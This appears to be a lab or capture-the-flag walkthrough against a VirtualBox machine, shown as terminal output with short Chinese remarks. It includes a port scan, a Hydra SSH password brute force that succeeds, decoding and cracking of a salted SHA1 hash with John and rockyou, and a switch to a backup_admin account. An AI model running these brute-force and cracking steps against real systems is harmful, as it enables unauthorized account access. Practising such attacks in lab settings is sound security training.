┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.43.99 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Breaking and entering... into the world of open ports.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.99:22 Open 192.168.43.99:389 Open 192.168.43.99:8084 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.99 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-11 21:11 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:11 Completed NSE at 21:11, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:11 Completed NSE at 21:11, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:11 Completed NSE at 21:11, 0.00s elapsed Initiating ARP Ping Scan at 21:11 Scanning 192.168.43.99 [1 port] Completed ARP Ping Scan at 21:11, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:11 Completed Parallel DNS resolution of 1 host. at 21:11, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:11 Scanning 192.168.43.99 [3 ports] Discovered open port 22/tcp on 192.168.43.99 Discovered open port 389/tcp on 192.168.43.99 Discovered open port 8084/tcp on 192.168.43.99 Completed SYN Stealth Scan at 21:11, 0.03s elapsed (3 total ports) Initiating Service scan at 21:11 Scanning 3 services on 192.168.43.99 Completed Service scan at 21:13, 91.18s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.43.99 NSE: Script scanning 192.168.43.99. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:13 Completed NSE at 21:13, 0.13s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:13 Completed NSE at 21:13, 0.02s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:13 Completed NSE at 21:13, 0.00s elapsed Nmap scan report for 192.168.43.99 Host is up, received arp-response (0.00082s latency). Scanned at 2026-05-11 21:11:50 CST for 92s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0) 389/tcp open ldap syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X 8084/tcp open websnp? syn-ack ttl 64 | fingerprint-strings: | FourOhFourRequest, GenericLines, GetRequest: | ____ ___ ____ ______ | ____/ | /___/ /_/ / ___ |/ ____/ /___ | |_/_____/_____/_/ |_/_/ /_____/ | INTERNAL DIRECTORY AUTH TERMINAL v1.0 << | IDENTIFICATION REQUIRED | Username: Password: | NULL: | ____ ___ ____ ______ | ____/ | /___/ /_/ / ___ |/ ____/ /___ | |_/_____/_____/_/ |_/_/ /_____/ | INTERNAL DIRECTORY AUTH TERMINAL v1.0 << | IDENTIFICATION REQUIRED |_ Username: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8084-TCP:V=7.99%I=7%D=5/11%Time=6A01D59C%P=x86_64-pc-linux-gnu%r(NU SF:LL,12B,"\n\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20____\x20 SF:\x20___\x20\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x20\|\ SF:x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20__\x2 SF:0\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\x20/\ SF:x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20___\x20 SF:\|/\x20/___/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x20\n/_ SF:/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x20\x2 SF:0\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\n\n\[ SF:!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20")%r(GetRequest,135,"\n SF:\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20____\x20\x20___\x2 SF:0\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x20\|\x20\x20/\x SF:20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20__\x20\\/\x20__ SF:__/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\x20/\x20/\x20/\ SF:|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20___\x20\|/\x20/__ SF:_/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x20\n/_/\x20\x20\ SF:|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x20\x20\n>>\x20I SF:NTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\n\n\[!\]\x20IDE SF:NTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20")%r(FourOhFourReque SF:st,135,"\n\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20____\x20 SF:\x20___\x20\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x20\|\ SF:x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20__\x2 SF:0\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\x20/\ SF:x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20___\x20 SF:\|/\x20/___/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x20\n/_ SF:/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x20\x2 SF:0\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\n\n\[ SF:!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20")%r(Gener SF:icLines,135,"\n\x20\x20\x20\x20___\x20\x20\x20\x20__\x20\x20\x20\x20___ SF:_\x20\x20___\x20\x20\x20\x20____\x20\x20______\n\x20\x20\x20/\x20\x20\x SF:20\|\x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20\|\x20\x20/\x20 SF:__\x20\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20\x20\x20/\x20/\ SF:x20/\x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\x20\n\x20/\x20__ SF:_\x20\|/\x20/___/\x20/_/\x20/\x20___\x20\|/\x20____/\x20/___\x20\x20\x2 SF:0\n/_/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/\x20\x20\x20/_____/\x20\x SF:20\x20\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL\x20v1\.0\x20<<\ SF:n\n\[!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20"); MAC Address: 08:00:27:7B:B2:30 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=5/11%OT=22%CT=%CU=36153%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A01D5F2%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A) OS:OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4 OS:ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88) OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+% OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A= OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40 OS:%CD=S)
Uptime guess: 14.935 days (since Sun Apr 26 22:47:33 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros
TRACEROUTE HOP RTT ADDRESS 1 0.82 ms 192.168.43.99
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:13 Completed NSE at 21:13, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:13 Completed NSE at 21:13, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:13 Completed NSE at 21:13, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 93.46 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
┌──(root㉿Eecho)-[/tmp/aaaa] └─# hydra -l tonglinggejimo -P Dict-Social-tonglinggejimo_small.txt ssh://192.168.43.99 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-12 17:50:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 208 login tries (l:1/p:208), ~13 tries per task [DATA] attacking ssh://192.168.43.99:22/ [22][ssh] host: 192.168.43.99 login: tonglinggejimo password: tonglinggejimo 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-12 17:50:49
密码居然就是本身
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(root㉿Eecho)-[~] └─# ssh tonglinggejimo@192.168.43.104 The authenticity of host '192.168.43.104 (192.168.43.104)' can't be established. ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY This host key is known by the following other names/addresses: ~/.ssh/known_hosts:8: [hashed name] ~/.ssh/known_hosts:15: [hashed name] ~/.ssh/known_hosts:24: [hashed name] ~/.ssh/known_hosts:25: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.43.104' (ED25519) to the list of known hosts. tonglinggejimo@192.168.43.104's password: _ __ _____| | ___ ___ _ __ ___ ___ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ \ V V / __/ | (_| (_) | | | | | | __/ \_/\_/ \___|_|\___\___/|_| |_| |_|\___|
┌──(root㉿Eecho)-[/tmp/aaaa] └─# echo 'e1NTSEF9SUVSL0JsOVhLSFBnQTZMR0xBMkRrbk95cVpIODJtd3U=' | base64 -d > hash.txt ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (Salted-SHA1 [SHA1 256/256 AVX2 8x]) Warning: poor OpenMP scalability for this hash type, consider --fork=24 Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1prorodeo (?) 1g 0:00:00:00 DONE (2026-05-12 18:25) 1.923g/s 25332Kp/s 25332Kc/s 25332KC/s 1whizkid..16815594 Use the "--show" option to display all of the cracked passwords reliably Session completed.
横向移动到backup_admin
1 2 3 4 5
tonglinggejimo@Aldape:/opt/authtool$ su backup_admin Password: backup_admin@Aldape:/opt/authtool$ id uid=1001(backup_admin) gid=1001(backup_admin) groups=1001(backup_admin) backup_admin@Aldape:/opt/authtool$
